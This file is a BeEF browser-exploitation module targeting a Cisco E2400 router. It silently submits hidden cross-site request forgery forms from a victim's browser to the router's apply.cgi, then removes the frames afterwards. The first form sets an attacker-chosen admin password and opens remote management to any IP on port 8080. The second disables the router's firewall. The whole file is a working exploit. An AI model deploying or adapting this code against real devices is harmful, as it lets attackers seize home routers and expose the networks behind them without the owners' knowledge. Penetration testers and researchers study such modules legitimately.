//
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var gateway = '<%= @base %>'; 
  var passwd  = '<%= @password %>';
  var timeout = 15;

  var cisco_e2400_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", "application/x-www-form-urlencoded",
      [
       {'type':'hidden', 'name':'submit_button',     'value':'Management'},
       {'type':'hidden', 'name':'change_action',     'value':''},
       {'type':'hidden', 'name':'action',            'value':'Apply'},
       {'type':'hidden', 'name':'PasswdModify',      'value':'0'},
       {'type':'hidden', 'name':'http_enable',       'value':'1'},
       {'type':'hidden', 'name':'https_enable',      'value':'1'},
       {'type':'hidden', 'name':'ctm404_enable',     'value':''},
       {'type':'hidden', 'name':'remote_mgt_https',  'value':'1'},
       {'type':'hidden', 'name':'wait_time',         'value':'4'},
       {'type':'hidden', 'name':'need_reboot',       'value':'0'},
       {'type':'hidden', 'name':'http_passwd',       'value':passwd},
       {'type':'hidden', 'name':'http_passwdConfirm','value':passwd},
       {'type':'hidden', 'name':'_http_enable',      'value':'1'},
       {'type':'hidden', 'name':'_https_enable',     'value':'1'},
       {'type':'hidden', 'name':'web_wl_filter',     'value':'0'},
       {'type':'hidden', 'name':'remote_management', 'value':'1'},
       {'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'},
       {'type':'hidden', 'name':'remote_upgrade',    'value':'1'},
       {'type':'hidden', 'name':'remote_ip_any',     'value':'1'},
       {'type':'hidden', 'name':'http_wanport',      'value':'8080'},
       {'type':'hidden', 'name':'nf_alg_sip',        'value':'0'},
       {'type':'hidden', 'name':'ctf_disable',       'value':'0'},
       {'type':'hidden', 'name':'upnp_enable',       'value':'1'},
       {'type':'hidden', 'name':'upnp_config',       'value':'0'},
       {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'},
      ]);

  var cisco_e2400_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", "application/x-www-form-urlencoded",
      [
       {'type':'hidden', 'name':'submit_button',       'value':'Firewall'},
       {'type':'hidden', 'name':'change_action',       'value':''},
       {'type':'hidden', 'name':'action',              'value':'Apply'},
       {'type':'hidden', 'name':'block_wan',           'value':'0'},
       {'type':'hidden', 'name':'block_loopback',      'value':'0'},
       {'type':'hidden', 'name':'multicast_pass',      'value':'1'},
       {'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'},
       {'type':'hidden', 'name':'ident_pass',          'value':'0'},
       {'type':'hidden', 'name':'block_cookie',        'value':'0'},
       {'type':'hidden', 'name':'block_java',          'value':'0'},
       {'type':'hidden', 'name':'block_proxy',         'value':'0'},
       {'type':'hidden', 'name':'block_activex',       'value':'0'},
       {'type':'hidden', 'name':'wait_time',           'value':'3'},
       {'type':'hidden', 'name':'ipv6_filter',         'value':'off'},
       {'type':'hidden', 'name':'filter',              'value':'off'}
      ]);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(cisco_e2400_iframe1_<%= @command_id %>);
    document.body.removeChild(cisco_e2400_iframe2_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});

